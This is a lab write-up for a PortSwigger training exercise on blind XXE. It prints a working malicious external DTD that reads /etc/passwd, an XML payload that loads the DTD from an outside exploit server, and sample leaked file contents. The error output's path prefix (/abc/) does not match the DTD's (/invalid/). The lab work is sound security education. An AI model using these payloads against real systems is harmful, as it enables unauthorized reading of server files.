> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-xxe-labs/lab-5.md).

# lab-5

## Exploiting Blind XXE to Retrieve Data via Error Messages

**Difficulty:** Practitioner

### Lab Description

This lab has a "Check stock" feature that parses XML input but does not display the result. The lab provides a link to an exploit server on a different domain, where a malicious DTD can be hosted.

**Objective:** Use an external DTD to trigger an error message that displays the contents of the `/etc/passwd` file.

### Solution

**Step 1 — Locate the vulnerable request**

Navigate to:

```
https://your-lab-id.web-security-academy.net/product?productId=1
```

Click **Check stock**, then intercept the request in Burp Suite to see the XML structure.

**Step 2 — Host a malicious DTD that forces a parsing error**

Go to the **exploit server**, and in the body, paste the following DTD. This chains parameter entities to read the target file and insert its contents into a (deliberately invalid) system identifier, forcing the parser to throw an error that includes the file contents:

```dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///invalid/%file;'>">
%eval;
%error;
```

Save the exploit so it's hosted at a URL like:

```
https://exploit-your-id.exploit-server.net/exploit
```

**Step 3 — Reference the external DTD from the vulnerable request**

In the captured "Check stock" request, insert a `DOCTYPE` that pulls in the hosted DTD:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "https://exploit-your-id.exploit-server.net/exploit"> %xxe; ]>
<stockCheck>
    <productId>1</productId>
    <storeId>1</storeId>
</stockCheck>
```

**Step 4 — Read the leaked data from the error message**

Send the request. The parser fails to resolve the bogus file path (`/invalid/<contents of /etc/passwd>`) and throws an exception that includes the file's contents directly in the error message:

```
XML parser exited with error: java.io.FileNotFoundException: /abc/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
...
```

### Conclusion

When direct out-of-band exfiltration isn't viable or convenient, forcing the parser to leak data through a verbose error message is an effective alternative technique for extracting file contents from a blind XXE vulnerability.


---

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